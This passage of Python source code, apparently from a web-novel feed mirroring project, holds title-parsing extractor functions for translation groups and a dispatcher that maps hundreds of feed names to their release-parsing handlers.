		return buildReleaseMessage(item, 'Orphans of a Dead Nation', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Life and Times of Mitch and Akki' in item['tags']:
		return buildReleaseMessage(item, 'Life and Times of Mitch and Akki', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if "God's Island" in item['tags']:
		return buildReleaseMessage(item, "God's Island", vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if'Black Titan' in item['tags']:
		return buildReleaseMessage(item, 'Black Titan', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	return False

def extractForKalimdor(item):
	"""
	For Kalimdor
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None

	if item['title'].startswith('Bringing The Farm To Live In Another World'):
		return buildReleaseMessage(item, 'Bringing The Farm To Live In Another World', vol, chp, frag=frag, postfix=postfix)
	return False
def extractForthemoneyTranslations(item):
	"""
	Forthemoney Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None

	return False
def extractGirlyNovels(item):
	"""
	Girly Novels
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False







#!/usr/bin/python
# from profilehooks import profile
import urllib.parse
import json
import traceback
import WebMirror.OutputFilters.util.feedNameLut as feedNameLut


import WebMirror.OutputFilters.rss.ParserFuncs_a_g as pfuncs_a_g
import WebMirror.OutputFilters.rss.ParserFuncs_h_n as pfuncs_h_n
import WebMirror.OutputFilters.rss.ParserFuncs_o_u as pfuncs_o_u
import WebMirror.OutputFilters.rss.ParserFuncs_stub as pfuncs_stub
import WebMirror.OutputFilters.rss.ParserFuncs_v_other as pfuncs_v_other

from WebMirror.OutputFilters.util.TitleParsers import extractVolChapterFragmentPostfix

import WebMirror.OutputFilters.FilterBase
import WebMirror.rules
import flags

skip_filter = [
	"www.baka-tsuki.org",
	"re-monster.wikia.com",
	'inmydaydreams.com',
	'www.fanfiction.net',
	'www.booksie.com',
	'www.booksiesilk.com',
	'www.fictionpress.com',
	'storiesonline.net',
	'www.fictionmania.tv',
	'pokegirls.org',
	'www.asstr.org',
	'www.mcstories.com',
	'www.novelupdates.com',
	'40pics.com',

]



class DataParser(WebMirror.OutputFilters.FilterBase.FilterBase):

	amqpint = None
	amqp_connect = True

	def __init__(self, transfer=True, debug_print=False, write_debug=False, **kwargs):
		super().__init__(**kwargs)

		self.dbg_print = debug_print
		self.transfer = transfer
		self.names = set()

		self.write_debug = write_debug

	####################################################################################################################################################
	####################################################################################################################################################
	##
	##  Dispatcher
	##
	####################################################################################################################################################
	####################################################################################################################################################


	def dispatchRelease(self, item):

		ret = False

		funcMap = {

				'A0132'                                                         : pfuncs_a_g.extractA0132,
				'Adamantine Dragon in the Crystal World'                        : pfuncs_a_g.extractAdamantineDragonintheCrystalWorld,
				'AFlappyTeddyBird'                                              : pfuncs_a_g.extractAFlappyTeddyBird,
				'A Grey World'                                                  : pfuncs_a_g.extractAGreyWorld,
				'Albert Kenoreijou'                                             : pfuncs_a_g.extractAlbertKenoreijou,
				'Alcsel Translations'                                           : pfuncs_a_g.extractAlcsel,
				'Alice Translations'                                            : pfuncs_a_g.extractAliceTranslations,
				'alicetranslations.wordpress.com'                               : pfuncs_a_g.extractAlicetranslations,
				'All\'s Fair In Love & War'                                     : pfuncs_a_g.extractAllsFairInLoveWar,
				'Altoroc Translations'                                          : pfuncs_a_g.extractAltorocTranslations,
				'Alyschu & Co'                                                  : pfuncs_a_g.extractAlyschuCo,
				'Amery Edge'                                                    : pfuncs_a_g.extractAmeryEdge,
				'Anathema Serial'                                               : pfuncs_a_g.extractAnathema,
				'Andrew9495\'s MTL corner'                                      : pfuncs_a_g.extractAndrew9495,
				'ヾ(。￣□￣)ﾂ'                                                    : pfuncs_a_g.extractAngry,
				'Anne And Cindy'                                                : pfuncs_a_g.extractAnneAndCindy,
				'Anon Empire'                                                   : pfuncs_a_g.extractAnonEmpire,
				'Another Parallel World'                                        : pfuncs_a_g.extractAnotherParallelWorld,
				'Another World Translations'                                    : pfuncs_a_g.extractAnotherWorldTranslations,
				'Aori Translations'                                             : pfuncs_a_g.extractAoriTranslations,
				'A Pearly View'                                                 : pfuncs_a_g.extractAPearlyView,
				'Aquarilas\' Scenario'                                          : pfuncs_a_g.extractAquarilasScenario,
				'Aqua Scans'                                                    : pfuncs_a_g.extractAquaScans,
				'Aran Translations'                                             : pfuncs_a_g.extractAranTranslations,
				'Archivity'                                                     : pfuncs_a_g.extractArchivity,
				'Ares Novels'                                                   : pfuncs_a_g.extractAresNovels,
				'Ark Machine Translations'                                      : pfuncs_a_g.extractArkMachineTranslations,
				'asd398'                                                        : pfuncs_a_g.extractAsd398,
				'AsherahBlue\'s Notebook'                                       : pfuncs_a_g.extractAsherahBlue,
				'Aten Translations'                                             : pfuncs_a_g.extractAtenTranslations,
				'A Translator\'s Ramblings'                                     : pfuncs_a_g.extractATranslatorsRamblings,
				'A traveler\'s translations.'                                   : pfuncs_a_g.extractATravelersTranslations,
				'Avert Translations'                                            : pfuncs_a_g.extractAvert,
				'Ayax World'                                                    : pfuncs_a_g.extractAyaxWorld,
				'Azure Sky Translation'                                         : pfuncs_a_g.extractAzureSky,
				'Azurro 4 Cielo'                                                : pfuncs_a_g.extractAzurro,
				'Bad Translation'                                               : pfuncs_a_g.extractBadTranslation,
				'Baka Dogeza Translation'                                       : pfuncs_a_g.extractBakaDogeza,
				'Baka Pervert'                                                  : pfuncs_a_g.extractBakaPervert,
				"'Ball'-Kicking Gang Boss"                                      : pfuncs_a_g.extractBallKickingGangBoss,
				'The Bathrobe Knight'                                           : pfuncs_a_g.extractBathrobeKnight,
				'Bayabusco Translation'                                         : pfuncs_a_g.extractBayabuscoTranslation,
				'Bcat00 Translation'                                            : pfuncs_a_g.extractBcat00,
				'Bear Bear Translations'                                        : pfuncs_a_g.extractBearBearTranslations,
				'Beehugger'                                                     : pfuncs_a_g.extractBeehugger,
				'The Beginning After The End'                                   : pfuncs_a_g.extractBeginningAfterTheEnd,
				'Berseker Translations'                                         : pfuncs_a_g.extractBersekerTranslations,
				'BeRsErk Translations'                                          : pfuncs_a_g.extractBeRsErkTranslations,
				'Bijinsans'                                                     : pfuncs_a_g.extractBijinsans,
				'Binggo&Corp'                                                   : pfuncs_a_g.extractBinggoCorp,
				'Binhjamin'                                                     : pfuncs_a_g.extractBinhjamin,
				'Blade of Hearts'                                               : pfuncs_a_g.extractBladeOfHearts,
				'Blublub'                                                       : pfuncs_a_g.extractBlublub,
				'Bluefire Translations'                                         : pfuncs_a_g.extractBluefireTranslations,
				'Blue Silver Translations'                                      : pfuncs_a_g.extractBlueSilverTranslations,
				'Books Movies and Beyond'                                       : pfuncs_a_g.extractBooksMoviesAndBeyond,
				'Bruin Translation'                                             : pfuncs_a_g.extractBruinTranslation,
				'Bu Bu Jing Xin Translation'                                    : pfuncs_a_g.extractBuBuJingXinTrans,
				'Burei Dan Works'                                               : pfuncs_a_g.extractBureiDan,
				'Calico x Tabby'                                                : pfuncs_a_g.extractCalicoxTabby,
				'Cas Project Site'                                              : pfuncs_a_g.extractCasProjectSite,
				'Cat Scans'                                                     : pfuncs_a_g.extractCatScans,
				"Cautr's"                                                       : pfuncs_a_g.extractCautrs,
				'CaveScans'                                                     : pfuncs_a_g.extractCaveScans,
				'cavescans.com'                                                 : pfuncs_a_g.extractCaveScans,
				'C.E. Light Novel Translations'                                 : pfuncs_a_g.extractCeLn,
				'Ceruleonice Translations'                                      : pfuncs_a_g.extractCeruleonice,
				'Cheddar!'                                                      : pfuncs_a_g.extractCheddar,
				'Chinese BL Translations'                                       : pfuncs_a_g.extractChineseBLTranslations,
				'Chinese Weaboo Translations'                                   : pfuncs_a_g.extractChineseWeabooTranslations,
				'Chrona Zero'                                                   : pfuncs_a_g.extractChronaZero,
				'Chronon Translations'                                          : pfuncs_a_g.extractChrononTranslations,
				'ChubbyCheeks'                                                  : pfuncs_a_g.extractChubbyCheeks,
				'Circle of Shards'                                              : pfuncs_a_g.extractCircleofShards,
				'Circus Translations'                                           : pfuncs_a_g.extractCircusTranslations,
				'Clicky Click Translation'                                      : pfuncs_a_g.extractClicky,
				'Cloud Manor'                                                   : pfuncs_a_g.extractCloudManor,
				'Cloud Translations'                                            : pfuncs_a_g.extractCloudTranslations,
				'Clover\'s Nook'                                                : pfuncs_a_g.extractCloversNook,
				'Translated by a Clown'                                         : pfuncs_a_g.extractClownTrans,
				'The C-Novel Project'                                           : pfuncs_a_g.extractCNovelProj,
				'C Novels 2 C'                                                  : pfuncs_a_g.extractCNovels2C,
				'C-Novel Tranlations…'                                          : pfuncs_a_g.extractCNovelTranlations,
				'Code-Zero\'s Blog'                                             : pfuncs_a_g.extractCodeZerosBlog,
				'CookiePasta'                                                   : pfuncs_a_g.extractCookiePasta,
				'CookiePasta Translations'                                      : pfuncs_a_g.extractCookiePasta,
				'Cosmic Translation'                                            : pfuncs_a_g.extractCosmicTranslation,
				'Crack of Dawn Translations'                                    : pfuncs_a_g.extractCrackofDawnTranslations,
				'Crappy Machine Translation'                                    : pfuncs_a_g.extractCrappyMachineTranslation,
				'Crazy for HE Novels'                                           : pfuncs_a_g.extractCrazyForHENovels,
				'tiffybook.com'                                                 : pfuncs_a_g.extractCrazyForHENovels,
				'CrystalRainDescends'                                           : pfuncs_a_g.extractCrystalRainDescends,
				'CtrlAlcalá'                                                    : pfuncs_a_g.extractCtrlAlcala,
				'Currently TLing [Bu ni Mi]'                                    : pfuncs_a_g.extractCurrentlyTLingBuniMi,
				'DadIsHero Fan Translations'                                    : pfuncs_a_g.extractDadIsHeroFanTranslations,
				'Daily-Dallying'                                                : pfuncs_a_g.extractDailyDallying,
				'Dao Seeker Blog'                                               : pfuncs_a_g.extractDaoSeekerBlog,
				'A fish once said this to me'                                   : pfuncs_a_g.extractDarkFish,
				'Dark Translations'                                             : pfuncs_a_g.extractDarkTranslations,
				'Dawning Howls'                                                 : pfuncs_a_g.extractDawningHowls,
				'Deadly Forgotten Legends'                                      : pfuncs_a_g.extractDeadlyForgottenLegends,
				'Defan\'s Translations'                                         : pfuncs_a_g.extractDefansTranslations,
				'Defiring'                                                      : pfuncs_a_g.extractDefiring,
				'Dekinai Diary'                                                 : pfuncs_a_g.extractDekinaiDiary,
				'Delicious Translations'                                        : pfuncs_a_g.extractDeliciousTranslations,
				'Demerith Translation'                                          : pfuncs_a_g.extractDemerithTranslation,
				'Descent Subs'                                                  : pfuncs_a_g.extractDescentSubs,
				'Dewey Night Unrolls'                                           : pfuncs_a_g.extractDeweyNightUnrolls,
				'DHH Translations'                                              : pfuncs_a_g.extractDHHTranslations,
				'Disappointing Translations'                                    : pfuncs_a_g.extractDisappointingTranslations,
				'Distracted Chinese'                                            : pfuncs_a_g.extractDistractedChinese,
				'Distracted Translations'                                       : pfuncs_a_g.extractDistractedTranslations,
				'Diwasteman'                                                    : pfuncs_a_g.extractDiwasteman,
				'DokuHana Translations'                                         : pfuncs_a_g.extractDokuHanaTranslations,
				'Dorayakiz'                                                     : pfuncs_a_g.extractDorayakiz,
				"DOW's Translations"                                            : pfuncs_a_g.extractDOWsTranslations,
				'DragomirCM'                                                    : pfuncs_a_g.extractDragomirCM,
				'Dragon MT'                                                     : pfuncs_a_g.extractDragonMT,
				'Dramas, Books & Tea'                                           : pfuncs_a_g.extractDramasBooksTea,
				'Dreadful Decoding'                                             : pfuncs_a_g.extractDreadfulDecoding,
				'Dream Avenue'                                                  : pfuncs_a_g.extractDreamAvenue,
				"Dreamless Window's translation"                                : pfuncs_a_g.extractDreamlessWindowsTranslation,
				'Dreams of Jianghu'                                             : pfuncs_a_g.extractDreamsOfJianghu,
				'Ducky\'s English Translations'                                 : pfuncs_a_g.extractDuckysEnglishTranslations,
				'Duran Daru Translation'                                        : pfuncs_a_g.extractDuranDaruTranslation,
				'Durasama'                                                      : pfuncs_a_g.extractDurasama,
				'Dynamis Gaul Light Novel'                                      : pfuncs_a_g.extractDynamisGaul,
				'EccentricTranslations'                                         : pfuncs_a_g.extractEccentricTranslations,
				'EC Webnovel'                                                   : pfuncs_a_g.extractECWebnovel,
				'ELYSION Translation'                                           : pfuncs_a_g.extractELYSIONTranslation,
				'Emergency Exit\'s Release Blog'                                : pfuncs_a_g.extractEmergencyExitsReleaseBlog,
				'Emruyshit Translations'                                        : pfuncs_a_g.extractEmruyshitTranslations,
				'EndKun'                                                        : pfuncs_a_g.extractEndKun,
				'End Online Novel'                                              : pfuncs_a_g.extractEndOnline,
				'Ensig\'s Writings'                                             : pfuncs_a_g.extractEnsigsWritings,
				'Ensj Translations'                                             : pfuncs_a_g.extractEnsjTranslations,
				'Ente38 translations'                                           : pfuncs_a_g.extractEnte38translations,
				'EnTruce Translations'                                          : pfuncs_a_g.extractEnTruceTranslations,
				'Epithetic'                                                     : pfuncs_a_g.extractEpithetic,
				'Epyon Translations'                                            : pfuncs_a_g.extractEpyonTranslations,
				'Ero Light Novel Translations'                                  : pfuncs_a_g.extractEroLightNovelTranslations,
				'Eros Workshop'                                                 : pfuncs_a_g.extractErosWorkshop,
				'eternalpath.net'                                               : pfuncs_a_g.extractEternalpath,
				'Etheria Translations'                                          : pfuncs_a_g.extractEtheriaTranslations,
				'Eugene Rain'                                                   : pfuncs_a_g.extractEugeneRain,
				"Evida's Indo Romance"                                          : pfuncs_a_g.extractEvidasIndoRomance,
				'Extant Visions'                                                : pfuncs_a_g.extractExtantVisions,
				'Eye of Adventure '                                             : pfuncs_a_g.extractEyeofAdventure,
				'EZ Translations'                                               : pfuncs_a_g.extractEZTranslations,
				'Fake typist'                                                   : pfuncs_a_g.extractFaketypist,
				'Fak Translations'                                              : pfuncs_a_g.extractFakTranslations,
				'Falamar Translation'                                           : pfuncs_a_g.extractFalamarTranslation,
				'Falinmer'                                                      : pfuncs_a_g.extractFalinmer,
				'Fanatical'                                                     : pfuncs_a_g.extractFanatical,
				'FeedProxy'                                                     : pfuncs_a_g.extractFeedProxy,
				'fgiLaN translations'                                           : pfuncs_a_g.extractfgiLaNTranslations,
				'Fighting Dreamers Scanlations'                                 : pfuncs_a_g.extractFightingDreamersScanlations,
				'Firebird\'s Nest'                                              : pfuncs_a_g.extractFirebirdsNest,
				'Five Star Specialists'                                         : pfuncs_a_g.extractFiveStar,
				'Flicker Hero'                                                  : pfuncs_a_g.extractFlickerHero,
				'Flower Bridge Too'                                             : pfuncs_a_g.extractFlowerBridgeToo,
				'Forgetful Dreamer'                                             : pfuncs_a_g.extractForgetfulDreamer,
				'Forgotten Conqueror'                                           : pfuncs_a_g.extractForgottenConqueror,
				'/'                                                             : pfuncs_a_g.extractForwardSlash,
				'Frostfire 10'                                                  : pfuncs_a_g.extractFrostfire10,
				'Fudge Translations'                                            : pfuncs_a_g.extractFudgeTranslations,
				'Fung Shen'                                                     : pfuncs_a_g.extractFungShen,
				'Fuzion Life'                                                   : pfuncs_a_g.extractFuzionLife,
				'Gaochao Translations'                                          : pfuncs_a_g.extractGaochaoTranslations,
				'Gargoyle Web Serial'                                           : pfuncs_a_g.extractGargoyleWebSerial,
				'Gila Translation Monster'                                      : pfuncs_a_g.extractGilaTranslation,
				'Giraffe Corps'                                                 : pfuncs_a_g.extractGiraffe,
				'[G.O] Chronicles'                                              : pfuncs_a_g.extractGOChronicles,
				'Goddess! Grant Me a Girlfriend!!'                              : pfuncs_a_g.extractGoddessGrantMeaGirlfriend,
				'Gravity Tales'                                                 : pfuncs_a_g.extractGravityTranslation,
				'GrimdarkZ Translations'                                        : pfuncs_a_g.extractGrimdarkZTranslations,
				'Grow with Me'                                                  : pfuncs_a_g.extractGrowWithMe,
				'Grow with me'                                                  : pfuncs_a_g.extractGrowWithMe,
				'guhehe.TRANSLATIONS'                                           : pfuncs_a_g.extractGuhehe,
				'Guro Translation'                                              : pfuncs_a_g.extractGuroTranslation,
				'Hajiko translation'                                            : pfuncs_h_n.extractHajiko,
				'Hamster428'                                                    : pfuncs_h_n.extractHamster428,
				'HaruPARTY'                                                     : pfuncs_h_n.extractHaruPARTY,
				'Heart Crusade Scans'                                           : pfuncs_h_n.extractHeartCrusadeScans,
				'Helidwarf'                                                     : pfuncs_h_n.extractHelidwarf,
				'Hello Translations'                                            : pfuncs_h_n.extractHelloTranslations,
				'Hellping'                                                      : pfuncs_h_n.extractHellping,
				'Hell Yeah 524'                                                 : pfuncs_h_n.extractHellYeah524,
				'Hendricksen-sama'                                              : pfuncs_h_n.extractHendricksensama,
				'Henouji Translation'                                           : pfuncs_h_n.extractHenoujiTranslation,
				'Heroic Legend of Arslan Translations'                          : pfuncs_h_n.extractHeroicLegendOfArslanTranslations,
				'Heroic Novels'                                                 : pfuncs_h_n.extractHeroicNovels,
				'Hikki no Mori Translations'                                    : pfuncs_h_n.extractHikkinoMoriTranslations,
				'Hokage Translations'                                           : pfuncs_h_n.extractHokageTrans,
				'Hold \'X\' and Click'                                          : pfuncs_h_n.extractHoldX,
				"Hon'yaku"                                                      : pfuncs_h_n.extractHonyaku,
				'Hot Cocoa Translations'                                        : pfuncs_h_n.extractHotCocoa,
				"Hugs & Love"                                                   : pfuncs_h_n.extractHugsAndLove,
				'Hyorinmaru Blog'                                               : pfuncs_h_n.extractHyorinmaruBlog,
				'Hyorinmaru'                                                    : pfuncs_h_n.extractHyorinmaruBlog,
				'Imoutolicious Light Novel Translations'                        : pfuncs_h_n.extractImoutolicious,
				'Infinite Novel Translations'                                   : pfuncs_h_n.extractInfiniteNovelTranslations,
				'Infinite Translations'                                         : pfuncs_h_n.extractInfiniteTranslations,
				'IntenseDesSugar'                                               : pfuncs_h_n.extractIntenseDesSugar,
				'Isekai Mahou Translations!'                                    : pfuncs_h_n.extractIsekaiMahou,
				'Isekai Soul-Cyborg Translations'                               : pfuncs_h_n.extractIsekaiTranslation,
				'Reigokai: Isekai Translations'                                 : pfuncs_h_n.extractIsekaiTranslations,
				'Isolarium'                                                     : pfuncs_h_n.extractIsolarium,
				'Istian\'s Workshop'                                            : pfuncs_h_n.extractIstiansWorkshop,
				'Iterations within a Thought-Eclipse'                           : pfuncs_h_n.extractIterations,
				'itranslateln'                                                  : pfuncs_h_n.extractItranslateln,
				'izra709 | B Group no Shounen Translations'                     : pfuncs_h_n.extractIzra709,
				'Jagaimo'                                                       : pfuncs_h_n.extractJagaimo,
				'Januke Translations'                                           : pfuncs_h_n.extractJanukeTranslations,
				'Japtem'                                                        : pfuncs_h_n.extractJaptem,
				'JawzTranslations'                                              : pfuncs_h_n.extractJawzTranslations,
				'Joeglen\'s Translation Space'                                  : pfuncs_h_n.extractJoeglensTranslationSpace,
				'Joie de Vivre'                                                 : pfuncs_h_n.extractJoiedeVivre,
				'Jun Juntianxia'                                                : pfuncs_h_n.extractJunJuntianxia,
				'Kaezar Translations'                                           : pfuncs_h_n.extractKaezar,
				'Kahoim Translations'                                           : pfuncs_h_n.extractKahoim,
				'Kakkokari'                                                     : pfuncs_h_n.extractKakkokari,
				'Kami Translation'                                              : pfuncs_h_n.extractKamiTranslation,
				'Kawaii Daikon'                                                 : pfuncs_h_n.extractKawaiiDaikon,
				'Kedelu'                                                        : pfuncs_h_n.extractKedelu,
				'Kerambit\'s Incisions'                                         : pfuncs_h_n.extractKerambit,
				'Keyo Translations'                                             : pfuncs_h_n.extractKeyoTranslations,
				'King Jaahn\'s Subjects'                                        : pfuncs_h_n.extractKingJaahn,
				'Kiri Leaves'                                                   : pfuncs_h_n.extractKiri,
				'Kiriko Translations'                                           : pfuncs_h_n.extractKirikoTranslations,
				'Kisato\'s MLTs'                                                : pfuncs_h_n.extractKisatosMLTs,
				'Knokkro Translations'                                          : pfuncs_h_n.extractKnokkroTranslations,
				'KN Translation'                                                : pfuncs_h_n.extractKNTranslation,
				'Blazing Translations'                                          : pfuncs_h_n.extractKnW,
				'CapsUsingShift Tl'                                             : pfuncs_h_n.extractKnW,
				'Insignia Pierce'                                               : pfuncs_h_n.extractKnW,
				'Konjiki no Wordmaster'                                         : pfuncs_h_n.extractKnW,
				'Loliquent'                                                     : pfuncs_h_n.extractKnW,
				'Pummels Translations'                                          : pfuncs_h_n.extractKnW,
				'KobatoChanDaiSukiScan'                                         : pfuncs_h_n.extractKobatoChanDaiSukiScan,
				'Kokuma Translations'                                           : pfuncs_h_n.extractKokumaTranslations,
				'KONDEE Translations'                                           : pfuncs_h_n.extractKONDEETranslations,
				'Konobuta'                                                      : pfuncs_h_n.extractKonobuta,
				'Koong Koong Translations'                                      : pfuncs_h_n.extractKoongKoongTranslations,
				'Korean Novel Translations'                                     : pfuncs_h_n.extractKoreanNovelTrans,
				'Kore Yori Hachidori'                                           : pfuncs_h_n.extractKoreYoriHachidori,
				'Krytyk\'s Translations'                                        : pfuncs_h_n.extractKrytyksTranslations,
				'Kuma Otou'                                                     : pfuncs_h_n.extractKumaOtou,
				'Kuro Translations'                                             : pfuncs_h_n.extractKuroTranslations,
				'Kurotsuki Novel'                                               : pfuncs_h_n.extractKurotsukiNovel,
				'Kyakka'                                                        : pfuncs_h_n.extractKyakka,
				'Kyakka Translations'                                           : pfuncs_h_n.extractKyakkaTranslations,
				'kyoptionslibrary.blogspot.com'                                 : pfuncs_h_n.extractKyoptionslibrary,
				'L2M'                                                           : pfuncs_h_n.extractL2M,
				'Larvyde'                                                       : pfuncs_h_n.extractLarvyde,
				'Lascivious Imouto'                                             : pfuncs_h_n.extractLasciviousImouto,
				'Lastvoice Translator'                                          : pfuncs_h_n.extractLastvoiceTranslator,
				'Layzisheep'                                                    : pfuncs_h_n.extractLayzisheep,
				'Legend of Galactic Heroes Translation Project'                 : pfuncs_h_n.extractLegendofGalacticHeroes,
				'Lickymee Translations'                                         : pfuncs_h_n.extractLickymeeTranslations,
				'Light Novels Translations'                                     : pfuncs_h_n.extractLightNovelsTranslations,
				'Light Novel translations'                                      : pfuncs_h_n.extractLightNoveltranslations,
				'Lil\' Bliss Novels'                                            : pfuncs_h_n.extractLilBlissNovels,
				'Lingson\'s Translations'                                       : pfuncs_h_n.extractLingson,
				'Ling Translates Sometimes'                                     : pfuncs_h_n.extractLingTranslatesSometimes,
				'Linked Translations'                                           : pfuncs_h_n.extractLinkedTranslations,
				'Little Novel Translation'                                      : pfuncs_h_n.extractLittleNovelTranslation,
				'LittleShanks Translations'                                     : pfuncs_h_n.extractLittleShanksTranslations,
				'Little Translations'                                           : pfuncs_h_n.extractLittleTranslations,
				'Lizard Translations'                                           : pfuncs_h_n.extractLizardTranslations,
				'LMS Machine Translations'                                      : pfuncs_h_n.extractLMSMachineTranslations,
				'Ln Addiction'                                                  : pfuncs_h_n.extractLnAddiction,
				'Lohithbb TLs'                                                  : pfuncs_h_n.extractLohithbbTLs,
				'Loiterous'                                                     : pfuncs_h_n.extractLoiterous,
				'Lonahora'                                                      : pfuncs_h_n.extractLonahora,
				'LorCromwell'                                                   : pfuncs_h_n.extractLorCromwell,
				'LordofScrubs'                                                  : pfuncs_h_n.extractLordofScrubs,
				'Lost in Translation'                                           : pfuncs_h_n.extractLostInTranslation,
				'Luen Translations'                                             : pfuncs_h_n.extractLuenTranslations,
				'Lunaris'                                                       : pfuncs_h_n.extractLunaris,
				'Lunate'                                                        : pfuncs_h_n.extractLunate,
				'LygarTranslations'                                             : pfuncs_h_n.extractLygarTranslations,
				'Lylis Translations'                                            : pfuncs_h_n.extractLylisTranslations,
				'Lynfamily'                                                     : pfuncs_h_n.extractLynfamily,
				'Lypheon Machine Translation'                                   : pfuncs_h_n.extractLypheonMachineTranslation,
				'Machine Sliced Bread'                                          : pfuncs_h_n.extractMachineSlicedBread,
				'Madao Translations'                                            : pfuncs_h_n.extractMadaoTranslations,
				'MadoSpicy TL'                                                  : pfuncs_h_n.extractMadoSpicy,
				'Mahou Koukoku'                                                 : pfuncs_h_n.extractMahouKoukoku,
				'Mahoutsuki Translation'                                        : pfuncs_h_n.extractMahoutsuki,
				'Makina Translations'                                           : pfuncs_h_n.extractMakinaTranslations,
				'Mana Tank Magus'                                               : pfuncs_h_n.extractManaTankMagus,
				'Manga0205 Translations'                                        : pfuncs_h_n.extractManga0205Translations,
				'Maou na Anoko to murabito a'                                   : pfuncs_h_n.extractMaounaAnokotomurabitoa,
				'VaanCruze'                                                     : pfuncs_h_n.extractMaouTheYuusha,
				'Martial God Translator'                                        : pfuncs_h_n.extractMartialGodTranslator,
				'Mecha Mushroom Translations'                                   : pfuncs_h_n.extractMechaMushroom,
				'Yet Another Translation Site'                                  : pfuncs_h_n.extractMiaomix539,
				'Midnight Translation Blog'                                     : pfuncs_h_n.extractMidnightTranslationBlog,
				'Mike777ac'                                                     : pfuncs_h_n.extractMike777ac,
				'Mnemeaa'                                                       : pfuncs_h_n.extractMnemeaa,
				'Mojo Translations'                                             : pfuncs_h_n.extractMojoTranslations,
				"Monkoto's Translations"                                        : pfuncs_h_n.extractMonkotosTranslations,
				'Monk Translation'                                              : pfuncs_h_n.extractMonkTranslation,
				'Moon Bunny Cafe'                                               : pfuncs_h_n.extractMoonBunnyCafe,
				'Morrighan Sucks'                                               : pfuncs_h_n.extractMorrighanSucks,
				'Mousou Haven'                                                  : pfuncs_h_n.extractMousouHaven,
				'mousou-haven.com'                                              : pfuncs_h_n.extractMousouhaven,
				'MTLCrap'                                                       : pfuncs_h_n.extractMTLCrap,
				'My Purple World'                                               : pfuncs_h_n.extractMyPurpleWorld,
				'Mystique Translations'                                         : pfuncs_h_n.extractMystiqueTranslations,
				'Mythical Pagoda'                                               : pfuncs_h_n.extractMythicalPagoda,
				'N00b Translations'                                             : pfuncs_h_n.extractN00bTranslations,
				'Nakimushi'                                                     : pfuncs_h_n.extractNakimushi,
				'[nakulas]'                                                     : pfuncs_h_n.extractNakulas,
				'Nanjamora'                                                     : pfuncs_h_n.extractNanjamora,
				'(NanoDesu) - Amagi Brilliant Park '                            : pfuncs_h_n.extractNanoDesuAmagiBrilliantPark,
				'(NanoDesu) - Fate/Apocrypha'                                   : pfuncs_h_n.extractNanoDesuFateApocrypha,
				'(NanoDesu) - Fuyuu Gakuen no Alice and Shirley'                : pfuncs_h_n.extractNanoDesuFuyuuGakuennoAliceandShirley,
				'(NanoDesu) - Gekka no Utahime to Magi no Ou'                   : pfuncs_h_n.extractNanoDesuGekkanoUtahimetoMaginoOu,
				'(NanoDesu) - GJ-Bu'                                            : pfuncs_h_n.extractNanoDesuGJBu,
				'(NanoDesu) - Hai to Gensou no Grimgal'                         : pfuncs_h_n.extractNanoDesuHaitoGensounoGrimgal,
				'(NanoDesu) - Hentai Ouji to Warawanai Neko'                    : pfuncs_h_n.extractNanoDesuHentaiOujitoWarawanaiNeko,
				'(NanoDesu) - Kono Sekai ga Game Dato Ore Dake ga Shitteiru'   : pfuncs_h_n.extractNanoDesuKonoSekaigaGameDatoOreDakegaShitteiru,
				'(NanoDesu) - Kore wa Zombie Desu ka?'                          : pfuncs_h_n.extractNanoDesuKorewaZombieDesuka,
				'(NanoDesu) - Kurenai'                                          : pfuncs_h_n.extractNanoDesuKurenai,
				'NanoDesu Light Novel Translations'                             : pfuncs_h_n.extractNanoDesuLightNovelTranslations,
				'(NanoDesu) - Love★You'                                         : pfuncs_h_n.extractNanoDesuLoveYou,
				'(NanoDesu) - Maoyuu Maou Yuusha'                               : pfuncs_h_n.extractNanoDesuMaoyuuMaouYuusha,
				'(NanoDesu) - Mayo Chiki'                                       : pfuncs_h_n.extractNanoDesuMayoChiki,
				'(NanoDesu) - Ojamajo Doremi'                                   : pfuncs_h_n.extractNanoDesuOjamajoDoremi,
				'(NanoDesu) - Oreimo'                                           : pfuncs_h_n.extractNanoDesuOreimo,
				'(NanoDesu) - Rokka no Yuusha'                                  : pfuncs_h_n.extractNanoDesuRokkanoYuusha,
				'(NanoDesu) - Saenai Heroine no Sodatekata'                     : pfuncs_h_n.extractNanoDesuSaenaiHeroinenoSodatekata,
				'(NanoDesu) - Sasami-San@Ganbaranai'                            : pfuncs_h_n.extractNanoDesuSasamiSanGanbaranai,
				'(NanoDesu) - Seitokai no Ichizon'                              : pfuncs_h_n.extractNanoDesuSeitokainoIchizon,
				'(NanoDesu) - Sky World'                                        : pfuncs_h_n.extractNanoDesuSkyWorld,
				'(NanoDesu) - Yahari Ore no Seishun Love Come wa Machigatteiru' : pfuncs_h_n.extractNanoDesuYahariOrenoSeishunLoveComewaMachigatteiru,
				'Nanowave Translations'                                         : pfuncs_h_n.extractNanowaveTranslations,
				'National NEET'                                                 : pfuncs_h_n.extractNationalNEET,
				'Natsu TL'                                                      : pfuncs_h_n.extractNatsuTl,
				'Lazy NEET Translations'                                        : pfuncs_h_n.extractNEET,
				'NEET Translations'                                             : pfuncs_h_n.extractNeetTranslations,
				'Nega Translations'                                             : pfuncs_h_n.extractNegaTranslations,
				'Nekoyashiki'                                                   : pfuncs_h_n.extractNekoyashiki,
				'Neo Translations'                                              : pfuncs_h_n.extractNeoTranslations,
				'Nepustation'                                                   : pfuncs_h_n.extractNepustation,
				'Nightbreeze Translations'                                      : pfuncs_h_n.extractNightbreeze,
				'NightFall Translations'                                        : pfuncs_h_n.extractNightFallTranslations,
				'NinjaNUF'                                                      : pfuncs_h_n.extractNinjaNUF,
				'Nohohon Translation'                                           : pfuncs_h_n.extractNohohon,
				'Nooblate'                                                      : pfuncs_h_n.extractNooblate,
				'Noodletown Translated'                                         : pfuncs_h_n.extractNoodletownTranslated,
				'NOT Daily Translations'                                        : pfuncs_h_n.extractNotDailyTranslations,
				'NovelCow'                                                      : pfuncs_h_n.extractNovelCow,
